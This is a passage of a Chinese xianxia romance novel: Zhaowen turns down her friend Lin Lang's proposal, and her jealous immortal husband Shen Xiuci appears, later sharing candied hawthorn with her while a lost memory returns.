林琅拿着酒杯晃,不急于开口,缓缓才道。
“这破局之法,恐怕还要从外来借力。”
他伸出酒杯,做出干杯的动作,隔空相邀,“若是能借你灵闻阁的势,不说以后能彻底压制白昊,但化解此局,绰绰有余。”
朝玟不由得想到今天早上沈修慈和郑舒之间的谈话,茅塞顿开。
沈修慈上位不久,要想坐稳这个位置,就必须收权,而这一次没有蓬莱相助,就得从外求援,灵闻阁无疑是一个合适的选择。
若有灵闻阁出面,此事一定会有转机。
沈修慈和郑舒商量的有关人选的事情,估计就是要从阁内挑一个人出面,来做这个破局之人。
但是灵闻阁会派谁去呢?
朝玟虽然是灵闻阁的人,但是对于阁内有哪些高手的情况,却是一问三不知。
她入阁的时间实在是太短了,整个灵闻阁她认识的人寥寥无几,郑舒算一个,再有的就是京城之中的几位代驾,却也都不熟,只是点头之交,互相知道个姓名而已。
见朝玟出神,林琅当她不感兴趣,轻叹一声:“这天下大事,你我都是看客,说来说去都不过是白操心罢了,不说这个了,看你也吃好了,明日就是中秋,可惜我不能够陪你过,要不去街上走走吧,就当是提前过节了。”
朝玟看了一眼天色,确实还早,她又想到家里的沈修慈。
他现在在干什么呢?还待在家里吗?
不过他除了来找她,也不是无所事事,会不会趁着这个时候,去找郑舒商量人选的去了?
朝玟心中忍不住猜测他会做什么。
她知道这一次沈修慈见她,是准备和她道别的。
朝玟也想要在这最后几天跟他好好相处,但是她现在依旧没有想好该怎么面对他。
她现在的样子,无论是性格,容貌还是身份,和从前都有巨大的区别。
她此刻全然享受现在的人生,回不到过去的样子了,要是让她现在端出王姬的架子,她哪哪都别扭。
而不用王姬的人设,她和沈修慈相处的经验为0。
她需要时间来接受这种转变,所以她现在不想要见到他。
幸好她临走前说了一句,不用沈修慈等他了,这样想来,朝玟心里的负罪感也消散的无影无踪。
听林琅说完,她只稍微犹豫了几秒,就答应了。
林琅的提议,也只是临时起意,并未有一个明确的地点,他做什么事情都是随心而为,于是征询朝玟道:“你在京城待的时间比我长,要不你选一个地方,还有什么是我们以前没有玩到的?”
他对京城也熟,朝玟拿不定主意,怕说出来的不合他心意,知道他也是个有主见的,反将问题抛给他:“还是你来挑吧,我随意。”
林琅立刻说:“山水总有看倦的时候,我想着,既然是提前过节的话……那就去一些人多热闹的地方,如何?”
朝玟一口答应。
地点定了,二人就结束饭局,出了酒楼。
二人一路走一路聊,几乎每一句话都能够互相接上,笑谈之间,很快就走到了林琅要去的街道。
京城繁华,一街一景,之前的酒楼所在的地方,还是枫叶红火,如今这地方,则是桂花飘香。
朝玟于林琅从一家甜品铺子出来,脚步轻快。走着走着,她的目光便被街边卖簪子的摊位所吸引。
朝玟爱美,喜欢这些光鲜亮丽的东西,心想入了秋,也是该添置些首饰了,便上前去看。
林琅则跟在她的旁边,手上拿着一个顺手买的烧饼,看着朝玟秀丽的侧脸,感叹道。
“与你相识一场,我和你惺惺相惜,默契无间,总感觉我和你似曾相识,就好像曾经也是朋友,曾经见过你一样。”
“说不定真的见过呢。”朝玟开着玩笑接茬,不过,这话倒也不假,她和林琅的确是曾经就是朋友。
林琅听后,脸上玩味的笑意一收,端起几分严肃认真来。
“其实我有个问题很早就想问你了。”
朝玟挑选着簪子,头也不抬,问:“问什么?”
林琅道:“还记得第一次见你,那时我们还不是朋友,你说起你的身世,你说,你远离双亲,独自闯荡,拼得一身精湛的代驾本领,当时便让我心生敬慕。”
“逐渐了解你之后,你也总是时不时的就让我感叹,这世间,怎么会有像你这般豁然又有才华的女子。我对你那是十分以至百分的欣赏,绝无半点虚言。”
朝玟听到夸奖,唇角上扬,又皱眉嫌弃的看了他一眼:“你到底要说什么?”
林琅轻声嘿嘿一笑,“现在问你虽然有些不合适,但是你既独身一人,父母不在身边,那我还是想问一句:不知你可曾考虑过婚配?”
他看朝玟露出诧异的眼神,继续说道。
“我很认真的思考过了,在遇见你之前,我已决定终身不娶,我这人,生性自由,只想
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一个人自由自在的,在这个世界里潇洒快乐的活一回。”
“可是自从我遇到了你之后,我发现,原来这个世界上居然还有你这样的女子,能够与我如此合拍,像是前世便见过一样。”
“你让我对以后的人生又有了重新的思考,让我觉得或许娶妻生子,与自由自在不冲突,若是有你相伴,这或许不是一件坏事。”
朝玟在上一周目已经拒绝过他一次了,听到他这么说,感到意外,但又丝毫不意外。
她开玩笑的拍了拍林琅的肩膀,遗憾道。
“唉,我知道我很有魅力,你喜欢我很正常,但是对不起,你对你的未来的妻子有要求,我对我的夫君也是有要求的,所以我还是觉得和你做朋友比较好。”
林琅不死心的追问:“什么要求?”
朝玟想也不想,脱口而出道:“至少得稳重?”
“他一定要稳重而不轻浮,冷静而不焦躁,并且性格温柔,闷一点也没事,有什么事情都要和我商量,最重要的是,要陪伴我够久,我要明明白白,确确切的心意,只有这样我才会觉得很安稳。”
林琅自信回应:“你的要求听起来也不难,我性格不闷,能逗你开心,至于最后一点……陪伴够久,这不是问题,你要是愿意给我机会,我一定会证明我的真心。”
朝玟笑着,坚定道:“除了这些,我还有一条最重要的要求,那就是他必须是我深爱的人。抱歉,林琅,你在我心中始终是朋友,这一生,我都会珍惜我们的友谊。”
林琅:“这一生这么长,不试试看怎么知道我们始终都会是朋友呢?再考虑考虑我呗?”
朝玟想也没想再次拒绝:“反正你就是不行。”
说完之后又觉得拒绝的有些生硬,她补充道:“我对容貌也是有要求的,你不符合。”
林琅十分有自知之明地反驳:“怎么不符合了?我风流倜傥,英俊潇洒,貌比潘安,这身段,这脸,你仔细看看,哪里不好?”
朝玟:“你不是我喜欢的类型,你眼睛太大了,我喜欢眼形平直眼尾稍微勾一点,但整体五官周正,不要看谁都深情。”
“气质清清冷冷,笑不笑都好看,肩宽腰窄不文弱,身高稍微比你再高点的……一米八八左右吧,还有,你皮肤不够白,我喜欢再白一点的。”
琳琅不服的嘟囔:“……什么一米八八?说的这么具体,搞得你好像已经有人选了一样。”
朝玟本是无意说的,听闻林琅的话,不禁愣在了原地,手中力道一松,簪子突然从指间滑落,坠地发出清脆的响声。
摊位前的小贩立刻跳了起来,瞪大眼睛,带着惋惜和心痛的语气说道:“哎呀,姑娘,怎么这么不小心呢?这东西经不起磕碰的,这摔坏了可如何是好?我这里本就是小本经营,你这让我怎么做生意呢?”
朝玟连声道歉,急忙弯腰想要捡起那根发簪。
然而,有一人和她同时弯腰,就在她的指尖轻轻触碰到簪子之前,另一个人已经将簪子捡了起来。
她的指尖碰上了那一只手指,那只手修长而洁净,让朝玟的瞳孔微微放大,指尖不由自主地缩了回去。
就在这短暂的犹豫之间,那人已经站直了身体,只听一个清冽而低沉的嗓音响起:“这件我买了,麻烦包起来。”
沈修慈将那一件东西,连同几文钱一起递给那个摊主。
摊主立刻忙不迭的,乐意至极的将双手递过来,将那件东西打包。
朝玟惊诧发问:“你怎么来了?”
“我来找你。”沈修慈看了一眼她身边的林琅,说不清那是一个什么眼神,总之,他只瞥了一眼,又淡淡的收回了视线说。
“你快到傍晚还没有回来,我不放心。”
50. 我想见你
林琅在听得他们的对话后,发现朝玟和他认识,目光一凝,立刻对此人上下仔细的打量。
那人面容似笼罩一层纱雾,无论怎么看都模糊不清,应当是施展了什么术法。
身着一件素白的道袍,简洁而得体,服饰上并无过多的装饰,多半来自仙域,而且身份还不一般。
林琅再细看,发现他身姿挺拔,气质清冷,最关键的是,比他还要略高一些。
这些特征再结合朝玟的话,让林琅顿时心里咯噔一下。
他上前一步,站到朝玟的身边,盯着沈修慈,出声问道:“这位道君是什么人呀?”
沈修慈看了一眼林琅,又移回目光,静静等着朝玟开口。
朝玟顶着压力,含糊解释道:“熟人。”
林琅咧开嘴一笑,朗声道:“原来是朋友啊。”
他先自报姓名:“在下林琅,敢问阁下尊姓大名?”
沈修慈的姓名,不便多做解释,朝玟自然的接过了话茬,简单答复道:“他姓沈。”
没想到是朝玟帮忙回答的,林琅微微转眸,瞥了眼朝玟,接着又是一笑,对沈修慈礼貌地点头:“沈兄。”
沈修慈向他微微颔首,算作回应,又看向朝玟说道:“今日风大,你身上有伤还没有好全,不宜在室外多做走动。”
朝玟眨眨眼,静立感受片刻。
除了头部尚有些许不适之外,那股让她倍感烦躁与难受的痛楚已减轻许多。
这都是沈修慈那灵药的功劳。
她眉头舒展,对他笑道:“我已经好多了,放心吧。”
林琅听他们二人语气熟稔,不禁好奇地挑了挑眉,目光在朝玟和沈修慈之间来回移动,最后落在朝玟的身上,问她:“他也知道你受伤了?”
面对这样的追问,朝玟无奈地叹了口气,只得简单解释:“这就是那位出手相助的高人。”
林琅恍然大悟,笑道:“原来就是你呀。”
他继续爽朗一笑:“方才在酒楼,我们说起霜澜城遭遇魑魅的旅程,真是好生惊险。
“朝玟虽也不弱,但也是凡人之躯,多谢你屡次救她性命。她性格直爽活泼,我见沈兄性情沉静,恐怕相处起来多有不便,一路上有劳你多加照拂,真是辛苦你了。”
沈修慈脸色更冷了几分,淡然回答:“应该的。”
朝玟目光在两人人之间穿梭,觉得这番对话有些奇怪,只感觉沈修慈有点不高兴,但再多的,却没品出些什么。
沈修慈他并未与林琅闲谈的打算,始终对林琅只是回应,又看向朝玟,语气转瞬变为温和,说道:“天色渐晚,夜里要降寒气,若是已经与友人会完面,不如随我尽早归家。”
朝玟不想和他单独相处,纠结道:“额,可我还想再逛一会儿。”
林琅站在一旁,听到回家这两个字,眉梢一跳,立即扭头问朝玟道:“他、他跟你住在一起吗?”
“额……”朝玟迟疑着,不知该怎么回答。
沈修慈这话的意思已经很清楚了吧?
但是要她再林琅的面前承认和沈修慈住在一起,怎么想都有点奇怪。
要不还是找个理由搪塞过去好了?
但就在她犹豫思考时,沈修慈已经在一旁替她答了。
只见他平静道:“对。”
“对?!”朝玟立刻不可置信地瞪了沈修慈一眼,大脑疯狂转动,然后对他使眼色,顺便为他找补道:“你是想说“对了”是吧?一定是这样的,对吧?”
“我……”沈修慈正要再开口,朝玟立刻打断:“你就是这样想的,不用再说别的了,就是这样,好,打住。”
她这边刚控制住沈修慈,立刻转头去看林琅,却见林琅一脸天塌了的表情,不可置信,崩溃缓缓道:“我都没去过你家……你怎么让他住?”
他语无伦次:“难道是因为他救过你的命?患难见真情,救命之恩当以身相许?”
朝玟担忧又无语道:“你都脑补了些什么?不是你想的这样。”
可林琅听不进去。他的目光在沈修慈和朝玟之间紧张地移动,手指微微颤抖,指向他们,仿佛下一秒就要碎了,小心翼翼问。
“你们……该不会是那种关系吧?”
朝玟见他听不进去,急得直跺脚:“不是我让他住的……这个事情,不是你想的那样,其实有点复杂……这里面都是有原因的。”
偏偏在这时,沈修慈又平静地补充了一个字:“对。”
他的神态自若,似乎对林琅的误解并不以为意,眼中更是看不见林琅那震惊颤抖到抖动出灰边的眼睛。
随着这个字落地,林琅不动了。
朝玟紧张喊他:“喂喂!回神!你怎么啦?”
林琅目光呆滞,全无反应。
糟了,林琅碎了。
在得知表白失败后得知心仪的女子已经是别人的伴侣这件事,林琅用好几十秒来消化了这个消息,然后故作坚强的对朝玟说。
“我很好,我接受良好,这没什么。”
接着,他控诉道:“其实你可以直接用这个理由来拒绝我的,我不会伤心的,难道在你眼里我就是个满心嫉妒的小人,不会真心祝福你的那种人吗?”
“就算他是一个凭空出现,横刀夺爱,不讲先来后到,长得只算小有姿色在我看来完全不能跟我比的一个男子,那又怎么样?你以为我不会祝福你是吗?”
朝玟想:你不在意是吗?你都人身攻击了。
她感到无力又想要再继续挣扎一下,努力解释:“真的不是……”
林琅挥手打断:“算了,不必再说,我很快就要走了,没时间听你说你们的故事,若是有什么别的趣事,下次见面再同我说吧。”
本来出来逛街,就是临时起意,现在这个情况,也不好挽留,朝玟点点头,与他道别:“那行,下次见,请你喝好酒。”
见朝玟一点也不挽留他,林琅气的长长叹了口气,神色复杂的看了眼沈修慈,继而对朝玟说。
“沈兄说的不错,你身上有伤,还让你在外陪我逛,现在又是肃寒的时节,对身上有伤的人不好,你快回家去吧,也不必送我了。”
他挥挥手,像是下定了某种决心,头也不回的走了。
这次一别,也不知道什么时候才能见到。
朝玟看着他的背影,心中惆怅。
身边沈修慈的声音突然响起:“人都走了,还看吗?”
朝玟被唤回神,这时才发现,他们站在大街上说话,引起了许多人的围观。
感受到一些好奇的视线落在他们身上,朝玟这时才察觉,沈修慈出来找她没有易容。
她立刻大惊,抓起他的手腕,拉着沈修慈走,一直拉着他走到了一条僻静巷子才停了下来。
说是巷子,其实是一条没什么人来的死胡同。
沈修慈跟着她站到墙角,直到她停下来,才问道:“他同你表白心意之后,你说的都是实话吗?”
朝玟本想问他怎么不易容,却被他抢先一步提问,不禁有些惊讶:“你都听到啦?”
沈修慈只是低垂眼眸
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,看着她。
看来是都听到了。
朝玟视线游离开,回想起她说的那些对夫君的要求,又急切解释道。
“你可不要想多了,我可不是照着你说的,我本来就有那些标准,是早就想好的。”
这话不假,朝玟以前在穿书局和前执行官吃饭聊天的时候,的确曾经提过她对与伴侣的标准:除了她的那些要求外,必须要和她长久相处,最重要的是,一定是她自己喜欢的。
当时执行官还笑她,“这可难办?上哪去找一个这么完美的男人来让你日久生情呢?你又整日在局里和书里打转,除了同事,别的社交一样也没有。”
“你爸前段时间还问我,你有没有中意的,要我给你参谋参谋,现在看来,你还是洗洗睡吧,做梦比较实在。”
朝玟不以为意,她然知道,她的要求有多苛刻。
这些限制本就是叫人知难而退的,她从没考虑过要和谁结婚。
这个话题,笑笑也就过了。
而沈修慈,只是刚好符合这些要求。
但符合要求又怎么样?她对他可没有伴侣之间的那种喜欢。
都不是一个世界的人,谈这个太不符合实际了。
……
小巷里,沈修慈靠着墙角,朝玟站在他面前,说完后又看向他的眼睛。
怕他不信,朝玟又重复了一遍:“真的。”
他看着她良久,垂下眼眸,轻轻嘲讽一笑,声音落下,很轻。
“我知道,我明白。”
他还没有这么自作多情,以为朝玟是因为想到了他,所以才用这样的借口搪塞林琅。
他的神情是了然,是意料之中,仿佛真的从来没这么想。
他说完,就犹如一片寂静的雪原,沉默下来。
朝玟嗅到了他衣襟上因为熬药熏染上的苦味,心中莫名有些难受。
没过多久,他又问:“你不想让他知道我们是什么关系吗?”
他这是想追究她最后为什么打断他吗?
朝玟心虚又理直气壮:“他可不知道我成过婚,和他解释这些反而会麻烦。”
她反问:“说起这个……你是什么时候跟着我的?”
沈修慈:“从你站在首饰铺子前的时候,我就站在你的身后,只是当时你没有看到我。”
其实他跟踪的时间并不长,但朝玟想到沈修慈目睹了林琅向她表白的整个过程,心中不禁有些毛毛的。
任谁意识到自己被跟踪,都会有后知后觉的厌恶和生气,她也是这样,但是她同时又对沈修慈这样的举动感到颇为新奇。
她心情平静的让她自己都感到惊讶,好奇地问:“你为什么要来找我呢?我走之前不是说过,不用你等我吗?”
她此时只想撬出沈修慈这样做的动机。
他为什么会来找她?
沈修慈的回答简单而直接:“你很久没有回来,我想见到你。”
朝玟有些不解:“这有什么大不了的?”
沈修慈的眼神中透露出一丝认真:“我想见你,如果看不到你,我会感到心慌。”
朝玟并没有将他的话当真,只以为沈修慈在开玩笑。
还有点让人起鸡皮疙瘩呢……
朝玟不自在的向后退了一步,抬手挠了挠脸颊,心中荡漾开奇妙的感觉。
她感觉发现了沈修慈新奇的一面,这让朝玟忍不住笑了一下,随后看着沈修慈无波无澜的脸,表情又重新回归严肃。
怎么?难道他说这话,不是逗她笑的吗?
51. 嫉如尘垢
但朝玟注定是搞不懂他刚才说的话究竟是不是在开玩笑了。
沈修慈又继续追问刚才的问题:“你不想让他知道我们的关系吗?”
朝玟见和他说了半天,结果又绕回了原点,苦恼的眉心拧起。
这个问题有什么好纠结的?
她着实回答不上来,方才和林琅在一起,三人之间的氛围又那样古怪,她不想再回忆起来,所以才岔开话题。
他怎么这么在意这个?
朝玟换位思考了一下,她当时打断他十分突兀,倒真显得她不愿意似的,他这样纠结其实也无可厚非,于是解释道。
“不是不让他知道,是我们之间的关系要说出来,实在是太复杂了,又是前世又是今生,你觉得能跟他解释的清楚吗?”
朝玟不想和他在这个事情上面掰扯:“你出来找我,究竟是干什么的呀?”
他又将方才朝玟以为是玩笑的话说了一遍:“你只要不在我的面前,我就感觉心慌。”
沈修慈的脸上依旧是一派的沉静。
他是认真的。
朝玟这才意识到,这心慌恐怕不同寻常,正想问,却听见沈修慈又绕回了刚才的问题。
他的神态如常,只是平白添了几分难缠的执拗。
“难道我和你的关系,很难说出口吗?”
“你今天怎么啦?”
朝玟奇怪的打量他两眼,发现他的眼中不知何时积攒了一抹阴郁之色,曜黑的眼瞳溢出些反常的情绪,仿佛表面上只是稍显汹涌,实际上却像是即将迎来一场飓风,有连绵不绝的波涛在暗中涌动。
而她稍显吃惊的面容,正映在他那双情绪翻滚的眼中。
……
沈修慈也想知道,他怎么了。
明明只是些小事。
他这一路上,被朝玟忽视回避也不止这一次,但就是这件事成了雪崩时一片雪花,叫他心中被烧开的空洞,点燃成一片炽焰的火海,让他再也忍不下去了。
事情也已经过去了,可是他偏偏就是想要知道,朝玟当时打断他的原因。
他也知道,她的想法其实很简单,就是不愿对林琅这样毫不知情的人多费口舌,省去不必要的麻烦。
但是除去这种冠冕堂皇的原因,他更想知道,她心中对他,究竟是怎么想的?
或许这种想要得到一个明确答复的想法,在今日离开灵闻阁时便有了。
当从郑舒的口中得知朝玟即将去见朋友时,尽管他并不知道她的朋友是谁,但看到她欢快雀跃的样子,他的内心突然涌起了一种难以名状的情感。
这种情感源自他自身,与另一种突如其来的恐慌情绪交织在一起,在他的身体深处翻滚肆虐。
如同突然之间对某种即将降临的危险产生了直觉般的警惕。
他在想起那日清晨,朝玟问他,是选步摇还是绒花的记忆之后,他才决定来找朝玟。
她现在鲜活明妍的样子,是以前极力对他遮掩隐藏的,是她最真实的底色。
他自知,他是一个沉闷的人。
自幼失去双亲,师父又是仙域之主,他的身份如此特殊,身边的人对他总是敬而远之,敬畏之情远胜于亲昵,这些重重因素如同茧一般将他紧紧包裹,让他大多数时候,总是内敛而沉默。
他虽然沉闷,却并非不主动的人,他深知,该如何抓住机会,该如何让每一次落子,都落在最有利的时机。
以前,他与她朝夕相伴,却永远无法见到真实的她。
现在,好不容易她全然袒露自己,不再尽力伪装,他能争取的时间,却仅仅只有三日而已。
但三天也够了,他想至少无论如何,他要试一次。
既然朝玟已经不再伪装,那么他也想试着在朝玟的面前,展现真实的自己,无论这三天结束后,最后他面临的结果是什么,他都认了。
然而,自从朝玟喝灵药,口中念叨着要见朋友,急促地离开之后,他心中的那些想法在不经意间发生了某种连他自己都难以控制的转变。
他独坐在房中,脑海中不断地回放着朝玟离去时那雀跃欢快的身影。
林琅……一听就是男子的名字。
那是个什么样的人,能够让朝玟如此期待与他相见?
朝玟觉得和林琅是朋友,可朝玟是那样好的一个女子,他对朝玟也是吗?
这样的疑问一旦萌生,便如同一团迷雾,在他的脑海中萦绕不去,仿佛这一丝疑虑早已深植于心,存在了很长很长的时间,只是此刻才破土而出,不断膨胀,占据了他的全部思绪。
他一个人坐在那个屋子里,虽然到处都是朝玟生活的过的痕迹,但是空荡荡的,让他感觉时间都仿佛凝固成冰。
在狭窄的房间之中,只剩下他一个人,这让他心中产生一股难以言明的恐惧,以及一种仿佛被遗弃的情绪。
沈修慈实在是无法忍受,但是从任何角度来说,他也没有什么立场跟借口能够让朝玟抛下好不容易才见面的朋友回来,于是他,做出了他连自己都意想不到的一个举动——他释放了神识探了过去。
找人对他来说,不是什么难事。
但不经允许便私自窥探他人,却称不上光彩。
而他此时也对这这种原本不齿的行为没有丝毫唾弃。
他闭上眼睛,神识放出来,覆盖到了京城的每一个地方,然后精准地锁定到了一座酒楼。
他很快就锁定了她的行踪,以及她身边的那位同行的友人。
当仙者的修为达到一定境界,便能透过人的皮肉,看到生者的灵魂。
朝玟身边的男子,他的魂魄纯净得犹如一道轻盈的羽毛,仿佛在诉说着这灵魂是多么的自由与轻盈。
他是一个品行高洁、极好的人,然而沈修慈看着那抹魂魄,却觉得无比的碍眼,让他感到一种前所未有的痛苦和迷茫。
连带着灵台都仿佛开始翻腾,并不是微微泛起波澜那样的翻腾,而是动荡不安。
血线之中的情绪震荡起来,令他耳边产生了幻觉一样的嘶鸣,他的情绪与血线在那一瞬间几乎重叠,仿佛要被那根血线中传递来的情绪所吞噬。
他们待在一起的时间越长,沈修慈那种被遗弃的恐慌就越发的强烈,朝玟和那人呆在一起的每一分每一秒,都在加剧他的不安。
他生生地忍住了,直到他们在酒楼里面吃完饭,一起走出来。
但在此期间,他的理智也在血线和自身情绪的拉扯之中,变得脆弱不堪,犹如走钢丝,下一秒就会坠入连他自己也无法想象的深渊。
他认为这是出于嫉妒,以及一种很无理的占有欲在作祟。
但这不应该,朝玟和林琅只是朋友,彼此之间也没有任何过分的举动。
嫉妒犹如污泥尘垢,令他灵台一片混沌。
他心中涌起了一种深深的自厌,他无法理解自己为何会如此,为何会对一个完全陌生的人产生如此强烈的敌意。
这种复杂而激烈的情绪,在他们走出酒楼,依然并肩而行,甚至继续漫步在街头时,达到了顶峰。
他窥伺已久,现在他忍无可忍,他跟了出来,随后见到了林琅与朝玟表白。
他心中想,果然如此。
朝玟和他的确只是朋友,但是显然,林琅并不这样想。
林琅此人,居心叵测,其心可诛。
他对朝玟说的每一句话,都让他心中愈发怒焰炽盛,仿佛很多年前,他和林琅就有宿怨。
可是朝玟却说了那些话来拒绝林琅。
她说起对夫君的要求,声音如潺潺溪水,眸子清如水,亮如星,嘴角向上扬起。
他等到她说完,不胜其烦林琅的纠缠,才出现在她的面前。
他们两个说说笑笑的氛围戛然而止。
朝玟看见他,满眼的惊讶,他出现在这里,像是一个不合时宜的人。
但是那又怎样呢?
朝玟是他的妻子,而天色已晚,他应该接她回家。
……
这条安静的巷子,是一条没有去路的死路,平时无人光顾,只有迷茫寻不到路的人,才会误入此处。
而现在,这里只有他们两人。
朝玟看到沈修慈的神色之后,愣了一下,也意识到她刚才急于在林琅面前撇清她和他的关系,采取的方式的确有些过激了。
她并不想让林琅知道他们之间的关系,因为这的确是一件麻烦的
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事情。
好吧,其实她也没有办法否认,她的确是有一些不想承认。
朝玟不服气,又有一些报复的想。
她凭什么要承认呢?沈修慈对她又没有真正夫妻的情谊,同心印也没有作用了。
这一次,他们又没有拜过天地,更无青鸟和神明的见证,算是哪门子的夫妻?
然而,当她看到沈修慈的眼神后,那些伤人的话终究没有说出口。
反正,他们只剩几天相处的时间了,她再说这些报复他,没有必要。
朝玟站在他的对面,眼神有些无奈,泄了气道:“不是要回去吗?走吧。”
她扭头向前走了几步,没有听到后面的动静,转回头去一看,见沈修慈木头一样的站在原地。
朝玟叹了一口气,回去伸手牵他。
她握住他的手,微微仰着头,侧着脑袋问他。
“怎么愣住了?”
朝玟看着他,沈修慈则低头,看着朝玟扣在他手背上的指节。
朝玟见他垂眸不理她,犹豫的猜测道:“你是……不高兴了吗?”
沈修慈看着两个人牵着的手,他的心中其实已经不再纠结,但听到她问,突然心中一动,神使鬼差轻声说道:“如果我说是呢?”
朝玟把头歪向右侧,一脸拿他没办法的无奈的盯着他。
她不仅没甩开手,还因为刚刚那些报复他的想法,有些心虚。
还真的生气了呀?
沈修慈虽说是反问她,可是他的眼底却带着生涩和小心,像是初次试探水面深浅的水鸟。
朝玟对沈修慈这样的一副模样完全没有脾气,她仔细想了想这事的前因后果,也的确是她一开始语言激烈,没有好好的解释,所以才把他惹生气了。
朝玟想好好跟他道歉,思索了几秒问道。
“请你吃桂花山楂蜜饯怎么样?”
沈修慈眼中闪烁期待的光,小心的轻声问:“这是道歉吗?”
朝玟噎了一下,以为是沈修慈觉得这样的歉意太随意。
她本也没有对沈修慈立刻就答应抱多大的期待,生气怎么会是这么好哄的?虽然她也是第一次见沈修慈生气。
朝玟心一横,豁出去道。
“那……我告诉你一段你忘记的记忆怎么样?”
沈修慈神情一愣,没想到朝玟会对他的话产生这样的误解。更没想到,还会落下这么大的惊喜。
朝玟好像对他这个反应比较满意,还未等他解释,便拉着他说:“走吧。”
……
夜幕降临,繁星点点,京城灯火璀璨,犹如不夜天。
女子容貌出众,男子身姿挺拔,两个人还手牵手,朝玟带着沈修慈走到街上,发现但凡路过的人多多少少都会看他们一眼,才恍然想起一件她从刚刚就想问的事情。
朝玟惊慌失措地问道:“你没有易容,不怕被别人认出来吗?这样会不会太招摇了?”
沈修慈神态自若解释:“我用了遮掩面容的术法,除了你,别人看不清我的样子。”
他都这样说了,朝玟立刻放下心来,与他继续走。
沈修慈凝视着交叠的双手,血线中传来如同疾病发作一般肆虐,一直困扰着他的被忽视的狂暴情绪,犹如套上缰绳,被驯服的巨兽,逐渐平息,安静下来。
一种满足,平和,珍重的情绪自心中升起,逐渐变成一种香甜的气息,充盈在鼻腔里。
朝玟回头,见他困惑的吸了几下鼻子,她的鼻尖也充斥着这样香甜的味道,对他笑道:“怎么样?很香吧?”
她指了指前面,香气的源头。
卖桂花山楂蜜饯铺子的在一堵矗立的白墙之下,墙上面爬满了爬山虎,在秋天的熏染下变成了浓郁的红,和红红的山楂一样。
冰糖的气息甜腻腻的,以及热气腾腾的烟雾飘散过来,在气候微冷的秋天,这样甜的东西仿佛成了一股火堆一样的暖意,靠离得近,心中就越雀跃。
朝玟点了一份,择了一处茶馆,与他走进去,顺便还点了一壶好茶,配着甜食来解腻。
红泥火炉在一旁点着,炭火燃烧发出轻微的噼啪声,茶叶在沸水中翻滚,释放出淡淡的清香。
52. 山楂很甜
等着茶开的功夫,朝玟已然迫不及待,拿起竹签插了一块腌制入味的山楂送入口中。
她眼睛一亮,对沈修慈的说:“尝尝。”
沈修慈先是看着她,接着目光移到桌上,两个人正中间用盒子装着,裹满麦芽糖,被烘烤的焦甜的山楂。
他用竹签插了一颗,放入口中。
朝玟期待的看着他。
酸酸甜甜山楂的糖渍在他的唇上面留下了一点润泽的感觉,让那颜色浅淡的唇色浓郁了一些,像是朝玟上妆时,刚揩的一点胭脂。
他吃的时候不作声,只是认真地咀嚼,将那一颗山楂吞了下去后,才淡笑着说。
“味道很好。”
甜甜的味道从他的口中蔓延开来,一如他此刻的心情。
朝玟卖关子问:“有没有什么熟悉的感觉?”
沈修慈微微怔愣,随后摇了摇头。
朝玟轻笑着把茶壶从炉上拎下来,将茶水倒入茶杯之中。
这应当和他没有完全恢复的记忆有关。
沈修慈问:“我们以前来过这里吗?”
“你昨天晚上对我说,你是因为触景生情,所以才恢复了记忆,你现在吃到这个,有没有想起什么?”
沈修慈的脑海之中并未展现出任何的图像,也没有产生幻觉,他摇了摇头:“没有。”
朝玟遗憾的哦了一声,随即心中困惑更深。
那看来触景生情这个途径,应当是可以使记忆恢复,但是对于触发他的记忆并不稳定。
朝玟想试一试,他这个记忆的触发点,到底会通过什么来实现,有没有规律。
如果有规律的话,那么朝玟就可以提前避免。
现在她履行承诺,对沈修慈说。
“这是你以前句我推荐的一样小吃,冰糖山楂沾上桂花,你说只有这个时节才有,要是错过了,就要等到下一年,然后,我们就一起下界,来到这条街,买了这一碗山楂。”
“你就站在铺子前,吃了一颗,你那时也说:味道很好。”
朝玟想到买到山楂后她和沈修慈所经历的事情,忍俊不禁的笑两声。
“但是人界和仙界的货币不流通,你我出来的突然,都忘了带银子,又不好自曝身份。”
“我拿灵石去抵,告诉他该怎么将那东西兑换成人间的货币,但那商贩还是不依不饶,还好那天是临时起意,没有卸钗环,他不收灵石,我就拔下了一只钗子给他。”
“那是一支金钗,那人看呆了,我塞进他的手里,趁机拉着你跑了,直到跑进另一条街才停下。”
沈修慈当时捧着那一盒山楂蜜饯,被她拽着飞跑了一路,在停下的时候,脸颊被深秋寒冷的风吹得有些红润,神情呆呆的,不理解她为什么要塞给那人贵重之物之后就跑。
他当时眼中的困惑,和现在的神情如出一辙。
朝玟:“那天是我带着你偷偷下来的,我想着你是仙域之主,可不能因为一碗蜜饯在人间惹事落下口舌,一只钗子能摆平的话……送就送了吧。”
朝玟那时候一点都不心疼,她有很多。
现在的话……能攒个几支锁在妆盒里,当应急资产就不错了。
她也没想到世上会有这样巧的事情,碰巧郑舒让她来找他的的地方,就是当初她与沈修慈一起来过的方国。
各种巧合叠加在一起,令她对这里有一种别样复杂的感情,所以,她也就在这里定居了。
没想到兜兜转转,时间回到原点之后,她竟然又和沈修慈来到了这里。
朝玟眺望向窗外,沉浸在对过去的回忆和感叹中,神情有一些恍惚。
外面夜幕降临,灯笼被挂了起来,华光映照在她的侧脸,长长的睫毛在眼帘下投下一道清晰的剪影。
她听见沈修慈微哑的声音传来:“我好像记起来了。”
……
沈修慈一直看着她,眼前又出现了幻觉,脑中也奇迹般的多出来了一段记忆。
那一段画面,从明明灭灭模糊闪烁,到逐渐清晰的和朝玟的声音重叠在一起。
他感觉自己的心,沉重而缓慢,在一道道清亮的声音之中,无比鲜活有力的跳动。
朝玟扭头望向他发现他的眼神清浅,嘴角带着笑。
她也忍不住笑:“现在想想,那天真是疯狂。”
沈修慈注视着她的眼睛:“那天你很不一样。”
但是却和现在一样。
在同样的圆月之下,朝玟提着裙摆,在笔直的街道上肆意的奔跑,像是一只在天空之下振动翅膀的白鹤,眼中的光像星光闪烁,狡黠而灵动。
那天的细节沈修慈已经记不太清了,仿佛这是一段对他而言十分久远的记忆。
只记得朝玟紧紧抓着他的手臂,是如何带动着他,让他也跟着一块奔跑。
他心跳的很快,那一幕就像是做梦,他的每一步像是踩在云端,导致脚步有些踉跄,唯一能做的只是将怀中朝玟好不容易买下的蜜饯护好。
朝玟眨眨眼睛,那时候她满心都是死遁,不想再继续那明摆着是坑她的狗屁任务,想着马上就能重获自由,那天晚上干脆就懒得装了。
现在想想,其实她和沈修慈之间相处的回忆,也不是全然令她迷茫和痛苦。
那也是她入职以来,最平静、安宁和快乐的时光。
只是现在无论再怎么追忆,也再也回不到过去那个时候了。
想到这里,她不禁有一些失落,拿起茶杯抿了一口,又拿竹签去叉桌上的山楂,问道。
